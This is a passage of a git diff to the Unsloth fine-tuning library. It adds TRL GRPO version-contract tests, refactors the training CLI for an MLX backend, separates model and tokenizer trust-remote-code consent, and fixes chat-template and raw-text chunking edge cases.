+
+
+def test_sft_patch_generates_valid_source():
+    src = _patch_and_get_source("sft_trainer", "SFTTrainer")
+    _assert_quantized_cast_neutralized(src, "SFTTrainer")
+
+
+def test_dpo_patch_generates_valid_source():
+    src = _patch_and_get_source("dpo_trainer", "DPOTrainer")
+    _assert_quantized_cast_neutralized(src, "DPOTrainer")
+
+
+# The installed TRL in CI is always >= 1.7.0, so the < 1.7.0 return-arity
+# downgrade is never exercised by the fake-run above. Lock both arities by
+# monkeypatching rl_replacements.trl_version and re-generating the injected
+# _get_per_token_logps_and_entropies source directly (no TRL install needed).
+def test_per_token_logps_arity_gate_both_directions(monkeypatch):
+    if importlib.util.find_spec("unsloth") is None:
+        pytest.skip("unsloth not installed")
+    import unsloth  # noqa: F401
+    from packaging.version import Version
+
+    from unsloth.models import rl_replacements as _rlr
+
+    gate = _rlr.grpo_trainer__get_per_token_logps_and_entropies
+
+    # >= 1.7.0: 3-tuple return kept.
+    monkeypatch.setattr(_rlr, "trl_version", Version("1.7.0"), raising = False)
+    src_new = gate("_get_per_token_logps_and_entropies", None)
+    assert (
+        "return logprobs.detach(), entropies, aux_loss" in src_new
+    ), "3-tuple return missing for TRL >= 1.7.0"
+
+    # < 1.7.0: aux_loss element dropped -> 2-tuple. A no-op downgrade must raise
+    # (fail loud), never silently ship a 3-tuple to older TRL.
+    monkeypatch.setattr(_rlr, "trl_version", Version("1.6.0"), raising = False)
+    src_old = gate("_get_per_token_logps_and_entropies", None)
+    assert (
+        "return logprobs.detach(), entropies  # logps, entropies" in src_old
+    ), "2-tuple return missing for TRL < 1.7.0"
+    assert (
+        "entropies, aux_loss" not in src_old
+    ), "aux_loss element still present in the TRL < 1.7.0 downgrade"
diff --git a/tests/version_compat/test_trl_grpo_pinned_symbols.py b/tests/version_compat/test_trl_grpo_pinned_symbols.py
index 834692e2dd..2f935dde49 100644
--- a/tests/version_compat/test_trl_grpo_pinned_symbols.py
+++ b/tests/version_compat/test_trl_grpo_pinned_symbols.py
@@ -51,10 +51,27 @@ TRL_TAGS = [
     "v1.2.0",
     "v1.3.0",
     "v1.4.0",
+    "v1.5.0",
+    "v1.5.1",
+    "v1.6.0",
+    "v1.7.0",  # anchor: first release unsloth's TRL>=1.7.0 GRPO patch targets
+    "v1.7.1",  # current PyPI latest
     "main",
 ]
 
 
+def _tag_ge(tag: str, floor: str) -> bool:
+    """True if `tag` is `main` or a version >= `floor` (e.g. "1.7.0")."""
+    if tag == "main":
+        return True
+    from packaging.version import Version
+
+    try:
+        return Version(tag.lstrip("v")) >= Version(floor)
+    except Exception:
+        return False
+
+
 # unsloth/trainer.py + unsloth/models/rl.py rebind these top-level names.
 
 
@@ -537,3 +554,96 @@ def test_trl_truncate_with_protected_tokens_optional(tag: str):
     assert src is not None
     has_it = "truncate_with_protected_tokens" in src
     _ = has_it  # informational; pass either way.
+
+
+# 24-27. TRL >= 1.7.0 GRPO source contracts. Unlike the has_def existence
+# checks above, these pin the exact source strings unsloth/models/rl.py and
+# rl_replacements.py transform for TRL >= 1.7.0 (the window PR #6904 fixes).
+# The 1.7.0 break was invisible to the existence checks because the methods
+# still existed -- only their internal structure / return arity changed. If
+# TRL restructures one of these, the transform silently no-ops (or the
+# generated trainer breaks), so failing here on `main` gives a few-day lead.
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_peft_ref_adapter_block_contract(tag: str):
+    """rl.py (trl>=1.4.0) strips TRL's PEFT ref-adapter init with a re.DOTALL
+    regex anchored on `elif is_peft_model(model) and args.beta != 0.0:` ...
+    `ref_param.data.copy_(param.data)`. Both anchors must exist (else the
+    regex no-ops and the ref adapter is created under Unsloth), and the
+    following `enable_input_require_grads` gradient-checkpointing block must
+    remain present -- the tightened regex must NOT swallow it (PR #6904). The
+    `elif` block shape appeared in TRL 1.4.0, so this contract runs from there."""
+    if not _tag_ge(tag, "1.4.0"):
+        pytest.skip(
+            f"{tag}: pre-1.4.0 uses the `if is_peft_available()...` form (rl.py 0.27 branch)"
+        )
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert "elif is_peft_model(model) and args.beta != 0.0:" in src, (
+        f"{tag}: PEFT ref-adapter `elif` anchor gone; unsloth/models/rl.py "
+        f"peft_pattern re.sub no-ops and TRL's ref adapter init runs under Unsloth"
+    )
+    assert "ref_param.data.copy_(param.data)" in src, (
+        f"{tag}: `ref_param.data.copy_(param.data)` end-anchor gone; "
+        f"unsloth/models/rl.py peft_pattern loses its DOTALL end match"
+    )
+    assert "enable_input_require_grads" in src, (
+        f"{tag}: `enable_input_require_grads` block gone from grpo_trainer.py; "
+        f"the tightened PR #6904 regex assumed it follows the ref-adapter block"
+    )
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_quantized_model_cast_contract(tag: str):
+    """rl.py (trl>=1.7.0) neutralizes TRL's hardcoded QLoRA bf16 cast
+    `if _is_quantized_model:` -> `if False:`. A rename leaves the cast active,
+    which ignores the user's dtype and breaks GradScaler with fp16=True."""
+    if not _tag_ge(tag, "1.7.0"):
+        pytest.skip(f"{tag}: pre-1.7.0 spells the cast differently (is_loaded_in_4bit)")
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert "if _is_quantized_model:" in src, (
+        f"{tag}: `if _is_quantized_model:` gone; unsloth/models/rl.py cannot "
+        f"neutralize TRL's hardcoded QLoRA bf16 cast and it runs under Unsloth"
+    )
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_aux_loss_enabled_contract(tag: str):
+    """rl.py (trl>=1.7.0) appends a fail-fast after
+    `self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0` so an
+    explicit MoE router-aux opt-in errors instead of silently training without
+    the penalty (the optimized forward cannot compute it). A change to this
+    line drops the guard silently (PR #6904)."""
+    if not _tag_ge(tag, "1.7.0"):
+        pytest.skip(f"{tag}: aux_loss_enabled / router_aux_loss_coef added in TRL 1.7.0")
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert "self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0" in src, (
+        f"{tag}: `aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0` "
+        f"changed; unsloth/models/rl.py's fail-fast .replace() anchor no-ops"
+    )
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_per_token_logps_aux_arity_contract(tag: str):
+    """TRL 1.7.0 added `compute_aux_loss` to
+    _get_per_token_logps_and_entropies and made every call site unpack a
+    3-tuple. rl_replacements.py version-gates its injected replacement to emit
+    a 3-tuple for trl>=1.7.0 (2-tuple below). This is the exact change the
+    has_def existence checks miss: the method still exists, only its arity
+    changed. If TRL drops/renames the aux return, the gate needs revisiting."""
+    if not _tag_ge(tag, "0.20.0"):
+        pytest.skip(f"{tag}: pre-0.20 uses legacy _get_per_token_logps (2-tuple, no aux)")
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert has_def(src, "_get_per_token_logps_and_entropies", "func"), (
+        f"{tag}: _get_per_token_logps_and_entropies missing on TRL >=0.20; "
+        f"unsloth's per-token-logps injection dispatch key no longer matches"
+    )
+    if _tag_ge(tag, "1.7.0"):
+        assert "compute_aux_loss" in src, (
+            f"{tag}: TRL >=1.7.0 dropped `compute_aux_loss`; the 3-tuple "
+            f"injection gate in unsloth/models/rl_replacements.py must be revisited"
+        )
diff --git a/unsloth-cli.py b/unsloth-cli.py
index 756efef0d0..be48893d8d 100644
--- a/unsloth-cli.py
+++ b/unsloth-cli.py
@@ -22,24 +22,179 @@ import argparse
 import os
 
 
+def _is_mlx_backend(unsloth_module):
+    return bool(getattr(unsloth_module, "_IS_MLX", False))
+
+
+def _normalize_dtype(dtype, is_mlx):
+    if is_mlx and isinstance(dtype, str) and dtype.strip().lower() in {"", "none", "auto"}:
+        return None
+    return dtype
+
+
+def _prepare_device_map(is_mlx):
+    if is_mlx:
+        return None, False
+
+    from unsloth.models.loader_utils import prepare_device_map
+    return prepare_device_map()
+
+
+class _CallableTokenizerProxy:
+    def __init__(self, tokenizer):
+        self._tokenizer = tokenizer
+
+    def __getattr__(self, name):
+        return getattr(self._tokenizer, name)
+
+    def __call__(self, text, *args, **kwargs):
+        # MLX/torch-free: never request torch tensors; keep plain python ids.
+        kwargs.pop("return_tensors", None)
+        wrapped = getattr(self._tokenizer, "_tokenizer", None)
+        if callable(wrapped):
+            return wrapped(text, *args, **kwargs)
+
+        add_special_tokens = kwargs.get("add_special_tokens", False)
+        input_ids = self._tokenizer.encode(text, add_special_tokens = add_special_tokens)
+        return {"input_ids": input_ids}
+
+
+def _tokenizer_for_raw_text_loader(tokenizer, is_mlx):
+    if not is_mlx or callable(tokenizer):
+        return tokenizer
+    return _CallableTokenizerProxy(tokenizer)
+
+
+def _raw_text_loader_for_backend(
+    RawTextDataLoader,
+    tokenizer,
+    is_mlx,
+    chunk_size = 2048,
+    stride = 512,
+):
+    return RawTextDataLoader(
+        _tokenizer_for_raw_text_loader(tokenizer, is_mlx),
+        chunk_size,
+        stride,
+        return_tokenized = not is_mlx,
+    )
+
+
+def _train_with_legacy_save_control(trainer, is_mlx):
+    if not is_mlx:
+        return trainer.train()
+
+    original_save_model = getattr(trainer, "save_model", None)
+    if original_save_model is None:
+        return trainer.train()
+
+    def skip_internal_final_save(*args, **kwargs):
+        raise ValueError("legacy unsloth-cli.py owns final save")
+
+    trainer.save_model = skip_internal_final_save
+    try:
+        return trainer.train()
+    finally:
+        trainer.save_model = original_save_model
+
+
+def _iter_quantization_methods(quantization):
+    if isinstance(quantization, list):
+        return quantization
+    return [quantization]
+
+
+def _save_or_push_model(model, tokenizer, args, is_mlx):
+    if not args.save_model:
+        print("Warning: The model is not saved!")
+        return
+
+    # Enter the GGUF branch when saving or pushing GGUF, so --push_gguf works
+    # without --save_gguf (the local save is guarded separately below).
+    if args.save_gguf or args.push_gguf:
+        if not args.save_gguf:
+            print("Warning: --save_gguf not set, pushing GGUF to hub without saving locally.")
+        for quantization_method in _iter_quantization_methods(args.quantization):
+            if args.save_gguf:
+                print(f"Saving model with quantization method: {quantization_method}")
+                model.save_pretrained_gguf(
+                    args.save_path,
+                    tokenizer,
+                    quantization_method = quantization_method,
+                )
+            if args.push_model or args.push_gguf:
+                model.push_to_hub_gguf(
+                    args.hub_path,
+                    tokenizer,
+                    quantization_method = quantization_method,
+                    token = args.hub_token,
+                )
+        return
+
+    if is_mlx:
+        model.save_pretrained_merged(
+            args.save_path,
+            tokenizer,
+            save_method = args.save_method,
+            push_to_hub = args.push_model,
+            repo_id = args.hub_path if args.push_model else None,
+            token = args.hub_token,
+        )
+        return
+
+    model.save_pretrained_merged(args.save_path, tokenizer, save_method = args.save_method)
+    if args.push_model:
+        model.push_to_hub_merged(args.hub_path, tokenizer, args.save_method, token = args.hub_token)
+
+
+def _build_sft_config(SFTConfig, args, is_mlx, bf16_supported):
+    config_kwargs = dict(
+        per_device_train_batch_size = args.per_device_train_batch_size,
+        gradient_accumulation_steps = args.gradient_accumulation_steps,
+        warmup_steps = args.warmup_steps,
+        max_steps = args.max_steps,
+        learning_rate = args.learning_rate,
+        fp16 = not bf16_supported,
+        bf16 = bf16_supported,
+        logging_steps = args.logging_steps,
+        optim = args.optim,
+        weight_decay = args.weight_decay,
+        lr_scheduler_type = args.lr_scheduler_type,
+        seed = args.seed,
+        output_dir = args.output_dir,
+        report_to = args.report_to,
+        max_length = args.max_seq_length,
+        dataset_num_proc = 2,
+        packing = args.packing,
+    )
+    if is_mlx:
+        if args.per_device_eval_batch_size != 4:
+            print("Warning: --per_device_eval_batch_size is ignored on MLX without eval data.")
+    else:
+        config_kwargs["per_device_eval_batch_size"] = args.per_device_eval_batch_size
+    return SFTConfig(**config_kwargs)
+
+
 def run(args):
+    import unsloth
     from unsloth import FastLanguageModel
     from datasets import load_dataset
     from transformers.utils import strtobool
     from trl import SFTTrainer, SFTConfig
     from unsloth import is_bfloat16_supported
-    from unsloth.models.loader_utils import prepare_device_map
     import logging
     from unsloth import RawTextDataLoader
 
     logging.getLogger("hf-to-gguf").setLevel(logging.WARNING)
 
+    is_mlx = _is_mlx_backend(unsloth)
+
     # Load model and tokenizer
-    device_map, distributed = prepare_device_map()
+    device_map, distributed = _prepare_device_map(is_mlx)
     model, tokenizer = FastLanguageModel.from_pretrained(
         model_name = args.model_name,
         max_seq_length = args.max_seq_length,
-        dtype = args.dtype,
+        dtype = _normalize_dtype(args.dtype, is_mlx),
         load_in_4bit = args.load_in_4bit,
         device_map = device_map,
     )
@@ -92,11 +247,13 @@ def run(args):
     def load_dataset_smart(args):
         from transformers.utils import strtobool
         if args.raw_text_file:
-            loader = RawTextDataLoader(tokenizer, args.chunk_size, args.stride)
+            loader = _raw_text_loader_for_backend(
+                RawTextDataLoader, tokenizer, is_mlx, args.chunk_size, args.stride
+            )
             dataset = loader.load_from_file(args.raw_text_file)
         elif args.dataset.endswith((".txt", ".md", ".json", ".jsonl")):
             # Auto-detect local raw text files
-            loader = RawTextDataLoader(tokenizer)
+            loader = _raw_text_loader_for_backend(RawTextDataLoader, tokenizer, is_mlx)
             dataset = loader.load_from_file(args.dataset)
         else:
             use_modelscope = strtobool(os.environ.get("UNSLOTH_USE_MODELSCOPE", "False"))
@@ -115,27 +272,9 @@ def run(args):
     print("Data is formatted and ready!")
 
     # Configure training arguments
-    training_args = SFTConfig(
-        per_device_train_batch_size = args.per_device_train_batch_size,
-        per_device_eval_batch_size = args.per_device_eval_batch_size,
-        gradient_accumulation_steps = args.gradient_accumulation_steps,
-        warmup_steps = args.warmup_steps,
-        max_steps = args.max_steps,
-        learning_rate = args.learning_rate,
-        fp16 = not is_bfloat16_supported(),
-        bf16 = is_bfloat16_supported(),
-        logging_steps = args.logging_steps,
-        optim = args.optim,
-        weight_decay = args.weight_decay,
-        lr_scheduler_type = args.lr_scheduler_type,
-        seed = args.seed,
-        output_dir = args.output_dir,
-        report_to = args.report_to,
-        max_length = args.max_seq_length,
-        dataset_num_proc = 2,
-        ddp_find_unused_parameters = False if distributed else None,
-        packing = args.packing,
-    )
+    training_args = _build_sft_config(SFTConfig, args, is_mlx, is_bfloat16_supported())
+    if distributed:
+        training_args.ddp_find_unused_parameters = False
 
     # Initialize trainer
     trainer = SFTTrainer(
@@ -145,57 +284,9 @@ def run(args):
         args = training_args,
     )
 
-    trainer.train()
+    _train_with_legacy_save_control(trainer, is_mlx)
 
-    # Save model
-    if args.save_model:
-        # If args.quantization is a list, save once per quantization method
-        # Enter the GGUF branch when saving *or* pushing GGUF, so --push_gguf
-        # works even when --save_gguf is omitted (the local save is guarded
-        # separately below).
-        if args.save_gguf or args.push_gguf:
-            # Push-only GGUF (no --save_gguf) skips the local save; warn so it is not silent.
-            if not args.save_gguf:
-                print("Warning: --save_gguf not set, pushing GGUF to hub without saving locally.")
-            if isinstance(args.quantization, list):
-                for quantization_method in args.quantization:
-                    if args.save_gguf:
-                        print(f"Saving model with quantization method: {quantization_method}")
-                        model.save_pretrained_gguf(
-                            args.save_path,
-                            tokenizer,
-                            quantization_method = quantization_method,
-                        )
-                    if args.push_model or args.push_gguf:
-                        model.push_to_hub_gguf(
-                            args.hub_path,
-                            tokenizer,
-                            quantization_method = quantization_method,
-                            token = args.hub_token,
-                        )
-            else:
-                if args.save_gguf:
-                    print(f"Saving model with quantization method: {args.quantization}")
-                    model.save_pretrained_gguf(
-                        args.save_path,
-                        tokenizer,
-                        quantization_method = args.quantization,
-                    )
-                if args.push_model or args.push_gguf:
-                    model.push_to_hub_gguf(
-                        args.hub_path,
-                        tokenizer,
-                        quantization_method = args.quantization,
-                        token = args.hub_token,
-                    )
-        else:
-            model.save_pretrained_merged(args.save_path, tokenizer, args.save_method)
-            if args.push_model:
-                model.push_to_hub_merged(
-                    args.hub_path, tokenizer, args.save_method, token = args.hub_token
-                )
-    else:
-        print("Warning: The model is not saved!")
+    _save_or_push_model(model, tokenizer, args, is_mlx)
 
 
 if __name__ == "__main__":
diff --git a/unsloth/__init__.py b/unsloth/__init__.py
index 04cc600725..659637dd92 100644
--- a/unsloth/__init__.py
+++ b/unsloth/__init__.py
@@ -16,6 +16,11 @@ import os, importlib.util, platform
 
 os.environ["UNSLOTH_IS_PRESENT"] = "1"
 
+# Relax Metal's context-store timeout before MLX modules can initialize Metal.
+# Keep an explicit user value authoritative.
+if platform.system() == "Darwin" and platform.machine() == "arm64":
+    os.environ.setdefault("AGX_RELAX_CDM_CTXSTORE_TIMEOUT", "1")
+
 # ── Windows console UTF-8 safety ─────────────────────────────────────────────
 # Legacy Windows consoles (cp1252) can't encode Unsloth's emoji/box-drawing
 # glyphs and crash with UnicodeEncodeError. Force stdout/stderr to UTF-8 only on
@@ -102,6 +107,7 @@ if _IS_MLX:
         ) from _e
 
     import dataclasses as _dataclasses
+    import inspect as _inspect
     import importlib.machinery as _machinery
     import sys as _sys
     import types as _types
@@ -109,6 +115,30 @@ if _IS_MLX:
 
     __version__ = unsloth_zoo.__version__
     DEVICE_TYPE = "mlx"
+    _MLX_TRAINER_ACCEPTS_VAR_KWARGS = False
+    _MLX_TRAINER_SUPPORTED_KWARGS = frozenset()
+    try:
+        _MLX_TRAINER_INIT_PARAMETERS = _inspect.signature(MLXTrainer.__init__).parameters
+        _MLX_TRAINER_ACCEPTS_VAR_KWARGS = any(
+            param.kind is _inspect.Parameter.VAR_KEYWORD
+            for param in _MLX_TRAINER_INIT_PARAMETERS.values()
+        )
+        _MLX_TRAINER_SUPPORTED_KWARGS = frozenset(
+            name
+            for name, param in _MLX_TRAINER_INIT_PARAMETERS.items()
+            if name != "self"
+            and param.kind
+            in (
+                _inspect.Parameter.POSITIONAL_OR_KEYWORD,
+                _inspect.Parameter.KEYWORD_ONLY,
+            )
+        )
+    except (TypeError, ValueError):
+        pass
+
+    def _mlx_trainer_supports_kwarg(name):
+        """Return whether the installed zoo MLXTrainer accepts a kwarg."""
+        return _MLX_TRAINER_ACCEPTS_VAR_KWARGS or name in _MLX_TRAINER_SUPPORTED_KWARGS
 
     def _is_mlx_cuda_device_target(device):
         """Return True when a torch .to/.cuda target asks for CUDA on MLX."""
@@ -966,6 +996,7 @@ if _IS_MLX:
         "args",
         "formatting_func",
         "processor",
+        "callbacks",
     )
     _TRL_SFT_TRAINER_POSITIONAL_KWARGS = (
         "model",
@@ -985,6 +1016,29 @@ if _IS_MLX:
     )
     _MLX_TRAINER_KWARGS = frozenset(_MLX_TRAINER_POSITIONAL_KWARGS)
 
+    def _filter_supported_mlx_trainer_kwargs(trainer_kwargs):
+        """Drop inert/empty kwargs unsupported by this zoo MLXTrainer."""
+        unsupported = {
+            key: value
+            for key, value in trainer_kwargs.items()
+            if not _mlx_trainer_supports_kwarg(key)
+        }
+        names = sorted(
+            key for key, value in unsupported.items() if _is_meaningful_mlx_extra_value(value)
+        )
+        if names:
+            subject = ", ".join(names)
+            verb = "requires" if len(names) == 1 else "require"
+            raise NotImplementedError(
+                "Unsloth MLX: "
+                f"{subject} {verb} an unsloth-zoo build with "
+                "matching MLXTrainer support. Upgrade unsloth-zoo together "
+                "with unsloth."
+            )
+        for key in unsupported:
+            trainer_kwargs.pop(key, None)
+        return trainer_kwargs
+
     def _is_mlx_native_text_collator(collator):
         """HF pad/copy collators are redundant on MLX; match by class name."""
         for klass in type(collator).__mro__:
@@ -1162,6 +1216,7 @@ if _IS_MLX:
 
             trainer_kwargs, config_kwargs, ignored_kwargs = _split_mlx_trainer_kwargs(kwargs)
             _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs)
+            trainer_kwargs = _filter_supported_mlx_trainer_kwargs(trainer_kwargs)
             trainer_kwargs["args"] = _coerce_mlx_training_args(
                 trainer_kwargs.get("args"),
                 config_kwargs,
diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.py
index f0a843c380..8f7ed6e09e 100644
--- a/unsloth/_compressed_quantize.py
+++ b/unsloth/_compressed_quantize.py
@@ -203,6 +203,7 @@ def main():
     ap.add_argument("--max-seq-length", type = int, default = 2048)
     ap.add_argument("--is-vlm", action = "store_true")
     ap.add_argument("--trust-remote-code", action = "store_true")
+    ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")
     ap.add_argument("--variant", default = "", help = "weight-filename variant for the output shards")
     args = ap.parse_args()
 
@@ -232,7 +233,11 @@ def main():
     model.eval()
     # A tokenizer may be absent if the caller saved it separately; only calibration needs one.
     try:
-        tokenizer = auto_proc.from_pretrained(args.model, trust_remote_code = args.trust_remote_code)
+        # The tokenizer/processor has its own trust flag: consent for one component must not
+        # let the other's custom code run.
+        tokenizer = auto_proc.from_pretrained(
+            args.model, trust_remote_code = args.trust_remote_code_tokenizer
+        )
     except Exception:
         if args.needs_calibration:
             raise RuntimeError(
diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.py
index e39b44488a..984057e9f7 100644
--- a/unsloth/_gpu_init.py
+++ b/unsloth/_gpu_init.py
@@ -26,6 +26,7 @@ already_imported = [mod for mod in critical_modules if mod in sys.modules]
 # Fix some issues before importing other packages
 from .import_fixes import (
     fix_message_factory_issue,
+    fix_torch_check_is_size,
     check_fbgemm_gpu_version,
     disable_broken_causal_conv1d,
     disable_broken_vllm,
@@ -72,6 +73,7 @@ fix_bitsandbytes_rocm_arch_detection()
 disable_broken_causal_conv1d()
 disable_broken_vllm()
 fix_message_factory_issue()
+fix_torch_check_is_size()
 check_fbgemm_gpu_version()
 torchvision_compatibility_check()
 fix_diffusers_warnings()
@@ -81,6 +83,7 @@ del fix_bitsandbytes_rocm_arch_detection
 del disable_broken_causal_conv1d
 del disable_broken_vllm
 del fix_message_factory_issue
+del fix_torch_check_is_size
 del check_fbgemm_gpu_version
 del torchvision_compatibility_check
 del fix_diffusers_warnings
@@ -173,6 +176,7 @@ from .import_fixes import (
     fix_vllm_guided_decoding_params,
     fix_vllm_pdl_blackwell,
     fix_triton_compiled_kernel_missing_attrs,
+    fix_dynamo_config_thread_visibility,
     patch_trunc_normal_precision_issue,
     ignore_logger_messages,
     patch_ipykernel_hf_xet,
@@ -203,6 +207,10 @@ fix_vllm_guided_decoding_params()
 fix_trl_vllm_ascend()
 fix_vllm_pdl_blackwell()
 fix_triton_compiled_kernel_missing_attrs()
+# Must run before unsloth_zoo's patch_torch_compile and the gpt-oss temporary
+# patches raise the dynamo recompile limits, so those settings reach the
+# autograd worker threads on torch >= 2.12.
+fix_dynamo_config_thread_visibility()
 patch_trunc_normal_precision_issue()
 ignore_logger_messages()
 patch_ipykernel_hf_xet()
@@ -233,6 +241,7 @@ del fix_vllm_guided_decoding_params
 del fix_trl_vllm_ascend
 del fix_vllm_pdl_blackwell
 del fix_triton_compiled_kernel_missing_attrs
+del fix_dynamo_config_thread_visibility
 del patch_trunc_normal_precision_issue
 del ignore_logger_messages
 del patch_ipykernel_hf_xet
diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index 169b2dbd0e..b857c34bcb 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -1929,6 +1929,9 @@ def get_chat_template(
             string_vocab = tokenizer._tokenizer.to_str()
 
             skipped = 0
+            # Only mirror applied mappings into the spm model; a skipped one would
+            # rename a piece the JSON never changed and desync the two.
+            applied_mapping = {}
             for old_token, new_token in token_mapping.items():
                 old_count = string_vocab.count(f'"{old_token}"')
                 new_count = string_vocab.count(f'"{new_token}"')
@@ -1939,6 +1942,7 @@ def get_chat_template(
                     raise RuntimeError(f"{old_token} was not part of the tokenizer!")
                 else:
                     string_vocab = string_vocab.replace(f'"{old_token}"', f'"{new_token}"')
+                    applied_mapping[old_token] = new_token
                 pass
             pass
 
@@ -1973,7 +1977,7 @@ def get_chat_template(
 
                 # Must fix the sentence piece tokenizer since there's no tokenizer.model file!
                 from .tokenizer_utils import fix_sentencepiece_tokenizer
-                tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,)
+                tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, applied_mapping,)
             else:
                 pass
 
@@ -1997,8 +2001,11 @@ def get_chat_template(
                 string_vocab = string_vocab.replace(old_eos_token, temporary_stop_token)
                 string_vocab = string_vocab.replace(stop_word, old_eos_token)
                 string_vocab = string_vocab.replace(temporary_stop_token, stop_word)
+                # JSON swapped both, so swap both here too; a one-way map leaves two stop_word pieces.
+                sentencepiece_mapping = { old_eos_token : stop_word, stop_word : old_eos_token, }
             else:
                 string_vocab = string_vocab.replace(old_eos_token, stop_word)
+                sentencepiece_mapping = { old_eos_token : stop_word, }
             pass
             new_tokenizer = tokenizer._tokenizer.from_str(string_vocab)
 
@@ -2017,9 +2024,8 @@ def get_chat_template(
             )
 
             # Must fix the sentence piece tokenizer since there's no tokenizer.model file!
-            token_mapping = { old_eos_token : stop_word, }
             from .tokenizer_utils import fix_sentencepiece_tokenizer
-            tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,)
+            tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, sentencepiece_mapping,)
         pass
 
     else:
@@ -2041,7 +2047,7 @@ def get_chat_template(
         .replace("'assistant'", "'" + mapping["assistant"] + "'")
 
     if use_zoo_tokenizer_patch:
-        # Studio MLX avoids the model-utils tokenizer wrapper because that
+        # Unsloth MLX avoids the model-utils tokenizer wrapper because that
         # import path pulls in Torch/GPU-specific modules before MLX training.
         from unsloth_zoo.tokenizer_utils import patch_tokenizer
     else:
@@ -2103,8 +2109,9 @@ def get_chat_template(
 
 def remove_special_tokens(tokenizer, prompt):
     # Removes double BOS token
-    if prompt.startswith(tokenizer.bos_token):
-        prompt = prompt[len(tokenizer.bos_token):]
+    bos_token = getattr(tokenizer, "bos_token", None)
+    if bos_token is not None and prompt.startswith(bos_token):
+        prompt = prompt[len(bos_token):]
     return prompt
 
 
@@ -2185,7 +2192,16 @@ def _create_formatter(possible_columns, final_optional_prompts, user_column_name
 
         texts = []
         for row_idx in range(n_rows):
-            row_values = {column: examples[column][row_idx] for column in columns}
+            # Coerce missing (None) columns to "" so they do not render as the
+            # literal string "None" in the emitted text. In a [[...]] block only
+            # the first column gates the block, so a later column can still be
+            # None here; required columns can be None too. Coercing at the source
+            # covers both; since None is now "", the gate below only needs to
+            # test for "" (an empty first column still drops the block).
+            row_values = {
+                column: ("" if (value := examples[column][row_idx]) is None else value)
+                for column in columns
+            }
             formatter_values = {}
 
             for formatter_template in formatter_templates:
@@ -2196,7 +2212,7 @@ def _create_formatter(possible_columns, final_optional_prompts, user_column_name
                     continue
 
                 _, optional_name, prompt, needed_columns = formatter_template
-                if row_values[needed_columns[0]] not in (None, ""):
+                if row_values[needed_columns[0]] != "":
                     prompt_values = {column: row_values[column] for column in needed_columns}
                     formatter_values[optional_name] = prompt.format(**prompt_values)
                 else:
@@ -2636,6 +2652,12 @@ extra_eos_tokens = None,
                 "{{ '" + full_system + "' }}"\
                 "{% set loop_messages = messages %}"\
             "{% endif %}"
+        elif "{SYSTEM}" in system_part:
+            # Only bind loop_messages when the template can render a caller system
+            # message. A static prefix with no {SYSTEM} must still raise, not drop it.
+            partial_system += "{% else %}"\
+                "{% set loop_messages = messages %}"\
+            "{% endif %}"
         else:
             partial_system += "{% endif %}"
 
diff --git a/unsloth/dataprep/raw_text.py b/unsloth/dataprep/raw_text.py
index 7d18b1ff29..fdaba181f1 100644
--- a/unsloth/dataprep/raw_text.py
+++ b/unsloth/dataprep/raw_text.py
@@ -87,6 +87,10 @@ class RawTextDataLoader:
                 text_content, self.chunk_size, self.stride, return_tokenized
             )
             all_chunks.extend(chunks)
+        if not all_chunks:
+            # All files empty/whitespace: raise like load_from_file instead of
+            # create_causal_dataset([]) returning a 0-row text-column dataset.
+            raise ValueError("All files are empty or contain only whitespace")
         return self.create_causal_dataset(all_chunks)
 
     def chunk_text(
@@ -132,6 +136,19 @@ class RawTextDataLoader:
         3. Maintains context with stride overlap
         4. Returns tokenized chunks directly (more efficient) or text chunks
         """
+        if chunk_size <= 0:
+            raise ValueError(f"chunk_size must be positive, got {chunk_size}")
+        if stride >= chunk_size:
+            raise ValueError(
+                f"stride ({stride}) must be smaller than chunk_size ({chunk_size}) to progress the chunking loop"
+            )
+
+        # Skip empty/whitespace text before tokenizing: BPE/SentencePiece emit
+        # real tokens for spaces/newlines, so a len(tokens)==0 check misses it
+        # and would yield a degenerate lone-EOS sample. Mirrors load_from_file.
+        if not text or not text.strip():
+            return []
+
         # Tokenize the whole text once for accurate token counts
         tokenized = self.tokenizer(text, return_tensors = "pt", add_special_tokens = False)
         tokens = tokenized["input_ids"]
@@ -147,9 +164,9 @@ class RawTextDataLoader:
         if len(tokens) <= chunk_size:
             # Fits in a single chunk
             if return_tokenized:
+                tokens = tokens.tolist() if hasattr(tokens, "tolist") else list(tokens)
                 eos_token_id = getattr(self.tokenizer, "eos_token_id", None)
                 if eos_token_id is not None:
-                    tokens = tokens.tolist() if hasattr(tokens, "tolist") else list(tokens)
                     tokens.append(eos_token_id)
 
                 attention_mask = [1] * len(tokens)
@@ -229,6 +246,10 @@ class RawTextDataLoader:
 
     def _extract_text_from_json(self, data):
         """Extract text from JSON object using common field names."""
+        # Skip non-object lines (str/list/number): `field in data` would be a
+        # substring/membership test, not a key lookup, and `data[field]` raises.
+        if not isinstance(data, dict):
+            return ""
         for field in self._TEXT_FIELDS:
             if field in data and isinstance(data[field], str):
                 return data[field]
diff --git a/unsloth/dataprep/synthetic.py b/unsloth/dataprep/synthetic.py
index 10690810fe..9c529d5a03 100644
